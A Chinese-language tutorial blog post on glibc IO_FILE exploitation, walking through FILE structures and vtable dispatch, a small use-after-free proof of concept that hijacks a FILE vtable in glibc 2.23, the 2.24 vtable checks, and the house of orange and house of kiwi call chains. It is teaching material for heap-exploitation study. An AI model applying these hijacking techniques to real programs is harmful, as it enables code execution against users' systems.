零基础要如何破除 IO_FILE 利用原理的迷雾

渗透技巧 2年前 (2022) admin
704 0 0
点击 / 关注我们

前言

好久以前,在我完成 Glibc2.23 的基本堆利用学习以后,IO_FILE 的利用就被提上日程了,但苦于各种各样的麻烦因素,时至今日,我才终于动笔开始学习这种利用技巧,实属惭愧。

近几年,由于堆利用的条件越来越苛刻,加之几个常用的劫持 hook 被删除,IO 的地位逐渐有超过堆利用的趋势,因此为了跟上这几年的新潮,赶紧回来学习一下 IO 流的利用技巧。

如果本文存在任何错误,请务必与我联系。

逻辑梳理

最开始是打算跟着内核去看 IO_FILE 的,但是最近内核的学习暂时搁置了,于是迫不得已现在就开始学 IO 了,不过也还好,这部分内容跟着其他师傅的文章去学,似乎也不会太成问题,有问题就是我的问题。而且主要涉及到的内容其实和内核无关,都是些 GLIBC 的源代码,这部分其实还在用户层,不过大多数利用都在通过 largebin attack 进行,因此可能还是需要一部分的堆利用基础的。

不过下文大多数情况都建立在读者已经理解 largebin attack 的前提下进行,其具体只表现为 “任意地址写一个堆地址”,因此以笔者个人认为,即便不明白其对应的利用原理,只要知道能够完成一次任意地址读写,就不会对之后的说明在理解上遇到障碍。

本文的行文逻辑如下:

  • • IO_FILE 结构体和虚表调用逻辑

  • • 虚表调用的跟踪分析

  • • 低版本下,劫持虚表的利用原理

  • • 对劫持虚表的保护原理分析

  • • 高版本下,调用链劫持原理

  • • 具体的利用手段

IO_FILE 结构体

首先是一个基本的结构体:

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

结构体成员包括一个用于描述文件各个属性的结构体和一个用于描述文件操作行为的跳转表指针。其中,文件属性通过 _IO_FILE 结构体描述:

struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

且先不论整个结构体的各个成员的具体作用,这里仅记录几个较为重要的内容。

来看看跳转表的行为:

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

该跳转表定义了对文件执行相应操作时具体会使用的行为函数,例如 _IO_read_t 对应了 __read 虚函数,在生成该文件结构时,每个条目占用 8 字节,以具体的函数地址填充。

简单来说,文件结构形式如下:

零基础要如何破除 IO_FILE 利用原理的迷雾
Pasted image 20220908155155.png


GLIBC2.23 与 跳转表劫持

#include <stdio.h>
#include <stdlib.h>

void pwn(void)
{
    printf("Dave, my mind is going.n");
    fflush(stdout);
}

void * funcs[] = {
    NULL, // "extra word"
    NULL, // DUMMY
    exit, // finish
    NULL, // overflow
    NULL, // underflow
    NULL, // uflow
    NULL, // pbackfail
    NULL, // xsputn
    NULL, // xsgetn
    NULL, // seekoff
    NULL, // seekpos
    NULL, // setbuf
    NULL, // sync
    NULL, // doallocate
    NULL, // read
    NULL, // write
    NULL, // seek
    pwn,  // close
    NULL, // stat
    NULL, // showmanyc
    NULL, // imbue
};

int main(int argc, char * argv[])
{   
    FILE *fp;
    unsigned char *str;

    str = malloc(sizeof(FILE) + sizeof(void *));
    free(str);

    if (!(fp = fopen("/dev/null", "r"))) {
        perror("fopen");
        return 1;
    }

    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;

    fclose(fp);
    return 0;
}

上述 POC 中通过 UAF 漏洞来劫持 fp 指针的指向。

在打开一个文件时,系统会调用 malloc 来开辟对应的 _IO_FILE_plus ,而最后的跳转表为一个指针,通过修改改指针,可以令跳转表被劫持为自己设定的目标:

    *(unsigned long*)(str + sizeof(FILE)) = (unsigned long)funcs;

这部分的内容,其实我已经看过很多次,而每次都停在这里。各种各样的文章都会从这个版本开始,但实话实说,以今天的视点来看已经相当鸡肋了,似乎完全没必要在乎这个版本下劫持跳转表的利用方法,因为自 2.24 以来加入了保护,如今已经更迭了如此之多的版本,似乎没有太大意义了。

细节与深入分析

前问刚说没有太大意义,这一小节就开始深入分析了,这似乎显得有点矛盾。但笔者现在逐渐能够理解这其中的意义以及这条利用的艰辛了。

尽管古早的利用已经距今久远,可是对于后来的人们,他们仍然需要从那遥远的旧版本开始前进。人们走得越远,后来的人们却仍要在同样的路上走相同的距离。 (尽管现在总说,新的 apple 和 cat 能够通杀,但说实话,如果我没看过前面的利用,就不太能理解这两个新技巧了。)

首先,不妨先用以下的代码来跟踪一下 IO_FILE 的创建流程和虚表的执行跳转:

#include<stdio.h>
int main(){
    char data[20];
    FILE*fp=fopen("toka","rb");
    fread(data,1,20,fp);
    return 0;
}

首先我们将断点打在 fopen ,此时的 IO_FILE 如下:

gdb-peda$ p _IO_list_all
$8 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
gdb-peda$ p stderr
$10 = (struct _IO_FILE *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
gdb-peda$ p *_IO_list_all
$9 = {
  file = {
    _flags = 0xfbad2086, 
    _IO_read_ptr = 0x0, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x0, 
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x0, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x0, 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>, 
    _fileno = 0x2, 
    _flags2 = 0x0, 
    _old_offset = 0xffffffffffffffff, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0x0, 
    _unused2 = '00' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

可以注意到,_IO_list_all 作为一个链表表头符号,记录了具体的 IO_FILE 地址,此时的第一个就是 stderr ,而剩余的文件通过 _chain 连接。

而在打开第一个文件以后,此时的链表标头转为:

gdb-peda$ p _IO_list_all
$12 = (struct _IO_FILE_plus *) 0x602010
gdb-peda$ p *_IO_list_all
$11 = {
  file = {
    _flags = 0xfbad2488, 
    _IO_read_ptr = 0x0, 
    _IO_read_end = 0x0, 
    _IO_read_base = 0x0, 
    _IO_write_base = 0x0, 
    _IO_write_ptr = 0x0, 
    _IO_write_end = 0x0, 
    _IO_buf_base = 0x0, 
    _IO_buf_end = 0x0, 
    _IO_save_base = 0x0, 
    _IO_backup_base = 0x0, 
    _IO_save_end = 0x0, 
    _markers = 0x0, 
    _chain = 0x7ffff7dd2540 <_IO_2_1_stderr_>, 
    _fileno = 0x3, 
    _flags2 = 0x0, 
    _old_offset = 0x0, 
    _cur_column = 0x0, 
    _vtable_offset = 0x0, 
    _shortbuf = "", 
    _lock = 0x6020f0, 
    _offset = 0xffffffffffffffff, 
    _codecvt = 0x0, 
    _wide_data = 0x602100, 
    _freeres_list = 0x0, 
    _freeres_buf = 0x0, 
    __pad5 = 0x0, 
    _mode = 0x0, 
    _unused2 = '00' <repeats 19 times>
  }, 
  vtable = 0x7ffff7dd06e0 <_IO_file_jumps>
}

可以注意到,此地址来自于堆内存:

gdb-peda$ heap
0x602000 PREV_INUSE {
  prev_size = 0x0, 
  size = 0x231, 
  fd = 0xfbad2488, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x602230 PREV_INUSE {
  prev_size = 0x7ffff7dd0260, 
  size = 0x20dd1, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

说明在为文件创建抽象实体的过程中,会申请堆内存来储存具体的结构体数据。

接下来调用 fread ,其调用链如下:

fread -> _IO_sgetn -> __GI__IO_file_xsgetn -> _IO_doallocbuf -> _IO_file_doallocate -> __underflow -> _IO_file_underflow

其中,_IO_sgetn 作为前导函数,它会读取 vtable 中的对应值从而得到 __GI__IO_file_xsgetn 的函数地址,该函数作为具体实现。

调用逻辑大致如下:

零基础要如何破除 IO_FILE 利用原理的迷雾
Pasted image 20220908212957.png


而 _IO_doallocbuf 和 __underflow 也都是前导函数,用来调用虚表中的 _IO_file_doallocate 和 _IO_file_underflow 。

用中文描述这个逻辑的意思大概是:

通过 vtable 调用 __GI__IO_file_xsgetn 。 如果此前已经为文件开辟过缓冲区,则继续;否则通过 _IO_file_doallocate 来开辟对应的缓冲区。 如果缓冲区为空,则通过 _IO_file_underflow 将数据复制到缓冲区中;否则继续。 最后将缓冲区中的数据拷贝到用户自己的缓冲区中。

接下来我们跟一下源代码:

_IO_size_t
_IO_fread (void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
  _IO_size_t bytes_requested = size * count;
  _IO_size_t bytes_read;
  CHECK_FILE (fp, 0);
  if (bytes_requested == 0)
    return 0;
  _IO_acquire_lock (fp);
  bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
  _IO_release_lock (fp);
  return bytes_requested == bytes_read ? count : bytes_read / size;
}
libc_hidden_def (_IO_fread)

这段代码并没有太多内容。首先获得文件锁,然后调用 _IO_sgetn 进行读取,完成后释放锁,并返回读取的字节数。

_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
  _IO_size_t want, have;
  _IO_ssize_t count;
  char *s = data;

  want = n;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
    {
      free (fp->_IO_save_base);
      fp->_flags &= ~_IO_IN_BACKUP;
    }
      _IO_doallocbuf (fp);
    }

  while (want > 0)
    {
      have = fp->_IO_read_end - fp->_IO_read_ptr;
      if (want <= have)
    {
      memcpy (s, fp->_IO_read_ptr, want);
      fp->_IO_read_ptr += want;
      want = 0;
    }
      else
    {
      if (have > 0)
        {
#ifdef _LIBC
          s = __mempcpy (s, fp->_IO_read_ptr, have);
#else
          memcpy (s, fp->_IO_read_ptr, have);
          s += have;
#endif
          want -= have;
          fp->_IO_read_ptr += have;
        }

      /* Check for backup and repeat */
      if (_IO_in_backup (fp))
        {
          _IO_switch_to_main_get_area (fp);
          continue;
        }

      /* If we now want less than a buffer, underflow and repeat
         the copy.  Otherwise, _IO_SYSREAD directly to
         the user buffer. */
      if (fp->_IO_buf_base
          && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
        {
          if (__underflow (fp) == EOF)
        break;

          continue;
        }

      /* These must be set before the sysread as we might longjmp out
         waiting for input. */
      _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
      _IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);

      /* Try to maintain alignment: read a whole number of blocks.  */
      count = want;
      if (fp->_IO_buf_base)
        {
          _IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;
          if (block_size >= 128)
        count -= want % block_size;
        }

      count = _IO_SYSREAD (fp, s, count);
      if (count <= 0)
        {
          if (count == 0)
        fp->_flags |= _IO_EOF_SEEN;
          else
        fp->_flags |= _IO_ERR_SEEN;

          break;
        }

      s += count;
      want -= count;
      if (fp->_offset != _IO_pos_BAD)
        _IO_pos_adjust (fp->_offset, count);
    }
    }

  return n - want;
}
libc_hidden_def (_IO_file_xsgetn)

通过如下判断确定缓冲区是否开辟:

  if (fp->_IO_buf_base == NULL)

如果没有开辟则主动开辟:

int
_IO_file_doallocate (_IO_FILE *fp)
{
  _IO_size_t size;
  char *p;
  struct stat64 st;

#ifndef _LIBC
  /* If _IO_cleanup_registration_needed is non-zero, we should call the
     function it points to.  This is to make sure _IO_cleanup gets called
     on exit.  We call it from _IO_file_doallocate, since that is likely
     to get called by any program that does buffered I/O. */
  if (__glibc_unlikely (_IO_cleanup_registration_needed != NULL))
    (*_IO_cleanup_registration_needed) ();
#endif

  size = _IO_BUFSIZ;
  if (fp->_fileno >= 0 && __builtin_expect (_IO_SYSSTAT (fp, &st), 0) >= 0)
    {
      if (S_ISCHR (st.st_mode))
    {
      /* Possibly a tty.  */
      if (
#ifdef DEV_TTY_P
          DEV_TTY_P (&st) ||
#endif
          local_isatty (fp->_fileno))
        fp->_flags |= _IO_LINE_BUF;
    }
#if _IO_HAVE_ST_BLKSIZE
      if (st.st_blksize > 0)
    size = st.st_blksize;
#endif
    }
  p = malloc (size);
  if (__glibc_unlikely (p == NULL))
    return EOF;
  _IO_setb (fp, p, p + size, 1);
  return 1;
}
libc_hidden_def (_IO_file_doallocate)

缓冲区在此处通过堆内存来开辟:

  p = malloc (size);

然后最终再将其设置为缓冲区:

void
_IO_setb (_IO_FILE *f, char *b, char *eb, int a)
{
  if (f->_IO_buf_base && !(f->_flags & _IO_USER_BUF))
    free (f->_IO_buf_base);
  f->_IO_buf_base = b;
  f->_IO_buf_end = eb;
  if (a)
    f->_flags &= ~_IO_USER_BUF;
  else
    f->_flags |= _IO_USER_BUF;
}
libc_hidden_def (_IO_setb)

在完成开辟以后尝试读取:

  while (want > 0)
    {
      have = fp->_IO_read_end - fp->_IO_read_ptr;
      if (want <= have)
    {
      memcpy (s, fp->_IO_read_ptr, want);
      fp->_IO_read_ptr += want;
      want = 0;
    }

如果缓冲区中的余量尚且足够,那就可以直接将这部分数据拷贝到用户缓冲区;

但如果不够,则需要进一步的处理:

首先,如果缓冲区中还有数据,那就先把缓冲区中的所有内容写进用户缓冲区。

      else
    {
      if (have > 0)
        {
#ifdef _LIBC
          s = __mempcpy (s, fp->_IO_read_ptr, have);
#else
          memcpy (s, fp->_IO_read_ptr, have);
          s += have;
#endif
          want -= have;
          fp->_IO_read_ptr += have;
        }

接下来需要调用 __underflow 来获取新数据:

      /* Check for backup and repeat */
      if (_IO_in_backup (fp))
        {
          _IO_switch_to_main_get_area (fp);
          continue;
        }

      /* If we now want less than a buffer, underflow and repeat
         the copy.  Otherwise, _IO_SYSREAD directly to
         the user buffer. */
      if (fp->_IO_buf_base
          && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
        {
          if (__underflow (fp) == EOF)
        break;

          continue;
        }

跟入进去可以找到对应的定义:

int
__underflow (_IO_FILE *fp)
{
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  if (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)
    return EOF;
#endif

  if (fp->_mode == 0)
    _IO_fwide (fp, -1);
  if (_IO_in_put_mode (fp))
    if (_IO_switch_to_get_mode (fp) == EOF)
      return EOF;
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
  if (_IO_in_backup (fp))
    {
      _IO_switch_to_main_get_area (fp);
      if (fp->_IO_read_ptr < fp->_IO_read_end)
    return *(unsigned char *) fp->_IO_read_ptr;
    }
  if (_IO_have_markers (fp))
    {
      if (save_for_backup (fp, fp->_IO_read_end))
    return EOF;
    }
  else if (_IO_have_backup (fp))
    _IO_free_backup_area (fp);
  return _IO_UNDERFLOW (fp);
}
libc_hidden_def (__underflow)

这整个函数做了很多检查,但最终是需要调用 _IO_UNDERFLOW 完成主要功能的,该函数也在 vtable 中:

int  
_IO_new_file_underflow (_IO_FILE *fp)  
{  
  _IO_ssize_t count;  

  if (fp->_flags & _IO_NO_READS)  
    {  
      fp->_flags |= _IO_ERR_SEEN;  
      __set_errno (EBADF);  
      return EOF;  
    }  
  if (fp->_IO_read_ptr < fp->_IO_read_end)  
    return *(unsigned char *) fp->_IO_read_ptr;  

  if (fp->_IO_buf_base == NULL)  
    {  
      /* Maybe we already have a push back pointer.  */  
      if (fp->_IO_save_base != NULL)  
        {  
          free (fp->_IO_save_base);  
          fp->_flags &= ~_IO_IN_BACKUP;  
        }  
      _IO_doallocbuf (fp);  
    }  
      _IO_acquire_lock (_IO_stdout);  

      if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))  
  == (_IO_LINKED | _IO_LINE_BUF))  
_IO_OVERFLOW (_IO_stdout, EOF);  

      _IO_release_lock (_IO_stdout);  
#endif  
    }  

  _IO_switch_to_get_mode (fp);  

  fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;  
  fp->_IO_read_end = fp->_IO_buf_base;  
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end  
    = fp->_IO_buf_base;  

  count = _IO_SYSREAD (fp, fp->_IO_buf_base,  
       fp->_IO_buf_end - fp->_IO_buf_base);  
  if (count <= 0)  
    {  
      if (count == 0)  
        fp->_flags |= _IO_EOF_SEEN;  
              else  
        fp->_flags |= _IO_ERR_SEEN, count = 0;  
  }  
  fp->_IO_read_end += count;  
  if (count == 0)  
    {  
      fp->_offset = _IO_pos_BAD;  
      return EOF;  
    }  
  if (fp->_offset != _IO_pos_BAD)  
    _IO_pos_adjust (fp->_offset, count);  
  return *(unsigned char *) fp->_IO_read_ptr;  
}  
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)

代码并不复杂,简单来说就做这么一件事:

首先经过 flag 的检查之后,如果缓冲区未建立,则用 _IO_doallocbuf 创建缓冲区; 接下来,设定读取和写入的指针界限; 再然后通过 _IO_SYSREAD ,该函数通过系统调用从硬盘读取数据到缓冲区; 读取以后,设定缓冲区的读取边界

_IO_new_file_underflow 的应用比较广,很多文件读写最终都会向该函数发起调用 并且,有些函数并不经过 _IO_doallocbuf ,因此在 _IO_new_file_underflow 中会有一次判断和开辟的过程。

最后,在完成调用以后,会通过 continue 返回到 while 重新进行判断,由于其这次将缓冲区初始化,因此可以通过 memcpy 将数据复制到用户缓冲区:

  while (want > 0)
    {
      have = fp->_IO_read_end - fp->_IO_read_ptr;
      if (want <= have)
    {
      memcpy (s, fp->_IO_read_ptr, want);
      fp->_IO_read_ptr += want;
      want = 0;
    }
      else
    {
      if (have > 0)
        {
#ifdef _LIBC
          s = __mempcpy (s, fp->_IO_read_ptr, have);
#else
          memcpy (s, fp->_IO_read_ptr, have);
          s += have;
#endif
          want -= have;
          fp->_IO_read_ptr += have;
        }

      /* Check for backup and repeat */
      if (_IO_in_backup (fp))
        {
          _IO_switch_to_main_get_area (fp);
          continue;
        }

      if (fp->_IO_buf_base
          && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
        {
          if (__underflow (fp) == EOF)
        break;

          continue;
        }

这一套调用链梳理以后,对 文件结构是文件在内存中的抽象 这一概念或许就有些概念了。

如您所见,上述的调用链多次使用虚表进行跳转,因此如果能够劫持虚表中的函数地址,即可在调用对应函数时劫持控制流。

2.24 调整与保护

在上文中介绍了劫持虚表以及文件结构的调用逻辑。但劫持整个虚表的操作在 GLIBC2.24 开始就被检查了。

后来添加的 IO_validate_vtable 和 IO_vtable_check 用于检查 vtable 的合法性:

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  const char *ptr = (const char *) vtable;
  uintptr_t offset = ptr - __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    _IO_vtable_check ();
  return vtable;
}

进入检查的前提条件是:虚表对应的偏移大于虚表节区的长度。

GLIBC 维护了多张虚表,但这些虚表均处于一段较为固定的内存,因此该判断触发条件是,虚表不位于该内存段处。

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }

#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handlen");
}

对上述检查,仅限于重构或是动态链接库中 vtable,否则将会触发报错并关闭进程。

因此自 GLIBC2.24 以来,对虚表的伪造就仅限于在对应的地址段内进行了。

高版本下的调用链思考

再接下来的版本里,往往这种利用的对抗转为了调用链的发现和利用。正如上文所说,vtable 被限制到了固定的内存段,但是将 vtable 改为其他合法的跳转表,并劫持其他跳转表中会使用的函数指针即可。

而在后来的版本中,官方又将函数指针删除,转为对应的固定函数,因此调用链被消解,但又有大佬找到了新的调用链。

一般来说,IO_FILE 的利用集中在 GLIBC2.31 之后,尤其是在 GLIBC2.34 中删除了 __free_hook 和 __malloc_hook 的情况下。

house of orange

我自己最早听说过的 IO 利用就来自于该操作。其出现于 2016 年的 HITCON,距本文撰写已经有六年左右了。该利用本身指的是 “在没有 free 的情况下获得被释放的内存块”,但是题目最终却需要结合 IO_FILE 完成利用,因此本节的重点也放在后半部分。

在当时的环境中,尚且使用 GLIBC2.23,因此劫持虚表的操作是可行的。

通过 unsortedbin attack 能将 main_arena+88/96 写入任意地址的操作,将其写入到 _IO_list_all 中,相当于伪造链表的操作了。

而该地址作为新的 _IO_FILE_plus 被使用时,其 _chain 字段正好对应到了 smallbin[4] ,因此只要将合适的内存块伪造好数据并放入其中,就能令 _chain 指向的下一个 _IO_FILE_plus 由攻击者控制,则 vtable 就能够指向任意地址了。

至于触发调用链:malloc() -> malloc_printerr() -> __libc_message() -> abort() -> fflush() -> _IO_flush_all_lockp() -> _IO_new_file_overflow()

  for (;; )
    {
      int iters = 0;
      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);
          size = chunksize (victim);

          /*
             If a small request, try to use last remainder if it is the
             only chunk in unsorted bin.  This helps promote locality for
             runs of consecutive small requests. This is the only
             exception to best-fit, and applies only when there is
             no exact fit for a small chunk.
           */

          if (in_smallbin_range (nb) &&
              bck == unsorted_chunks (av) &&
              victim == av->last_remainder &&
              (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
            {
              /* split and reattach remainder */
              remainder_size = size - nb;
              remainder = chunk_at_offset (victim, nb);
              unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
              av->last_remainder = remainder;
              remainder->bk = remainder->fd = unsorted_chunks (av);
              if (!in_smallbin_range (remainder_size))
                {
                  remainder->fd_nextsize = NULL;
                  remainder->bk_nextsize = NULL;
                }

              set_head (victim, nb | PREV_INUSE |
                        (av != &main_arena ? NON_MAIN_ARENA : 0));
              set_head (remainder, remainder_size | PREV_INUSE);
              set_foot (remainder, remainder_size);

              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

          /* Take now instead of binning if exact fit */

          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &main_arena)
                victim->size |= NON_MAIN_ARENA;
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }

          /* place chunk in bin */

          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
                  if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert ((fwd->size & NON_MAIN_ARENA) == 0);
                      while ((unsigned long) size < fwd->size)
                        {
                          fwd = fwd->fd_nextsize;
                          assert ((fwd->size & NON_MAIN_ARENA) == 0);
                        }

                      if ((unsigned long) size == (unsigned long) fwd->size)
                        /* Always insert in the second position.  */
                        fwd = fwd->fd;
                      else
                        {
                          victim->fd_nextsize = fwd;
                          victim->bk_nextsize = fwd->bk_nextsize;
                          fwd->bk_nextsize = victim;
                          victim->bk_nextsize->fd_nextsize = victim;
                        }
                      bck = fwd->bk;
                    }
                }
              else
                victim->fd_nextsize = victim->bk_nextsize = victim;
            }

          mark_bin (av, victim_index);
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

#define MAX_ITERS       10000
          if (++iters >= MAX_ITERS)
            break;
        }

由于这个步骤过于一气呵成了,因此在这里做一个简单的解释:

在调用 malloc 时,会检查 Bins 结构,并发现 unsortedbin 中存在 chunk,因此开始遍历。首先在第一次遍历时会将原本的 Top chunk 取出,从而完成 unsortedbin attack:

          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

并且在这之后,会将这块内存放入 smallbin 中:

          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
        ......
          victim->bk = bck;
          victim->fd = fwd;
          fwd->bk = victim;
          bck->fd = victim;

但由于该循环的条件仍然满足,即堆管理器认为 unsortedbin 中还有内容,因此进入第二次遍历:

      while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
        {
          bck = victim->bk;
          if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
              || __builtin_expect (victim->size > av->system_mem, 0))
            malloc_printerr (check_action, "malloc(): memory corruption",
                             chunk2mem (victim), av);

而在这一次中,由于本次取出的值实则为 _IO_list_all-0x10 ,并未伪造对应的 size 等字段,因此会触发 malloc_printerr 从而进入上文所述的调用链。

由于 unsortedbin attack 的关系,_IO_list_all 被改为了 unsortedbin ,而 _chain 字段正好对应到了 smallbin[0x60] ,而该处正好就是上一次被放入的 top chunk,因此在上次更新时布置好 vtable 即可劫持控制流。

house of kiwi

思路和 orange 的差别在于,orange 尝试直接伪造整个 vtable,而 kiwi 只希望修改 vtable 中的某一项为 setcontext+61 来调整 rsp 和 rcx 的值来劫持控制流。

调用链:assert->malloc_assert->fflush(stderr)->_IO_file_sync

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
       const char *function)
{
(void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.n",
           __progname, __progname[0] ? ": " : "",
           file, line,
           function ? function : "", function ? ": " : "",
           assertion);
fflush (stderr);
abort ();
}

该调用链会读取 stderr 的 IO_FILE 中的 vtable 完成利用,因此需要伪造其 vtable 中的某一项。

不过笔者尝试在 Ubuntu16.04 和 Ubuntu18.04 以及 Ubuntu20.04 上测试,发现 vtable 所属的内存段都没有可写权限,似乎这个利用只存在于早期版本,在之后的小版本更新后就被修复了。

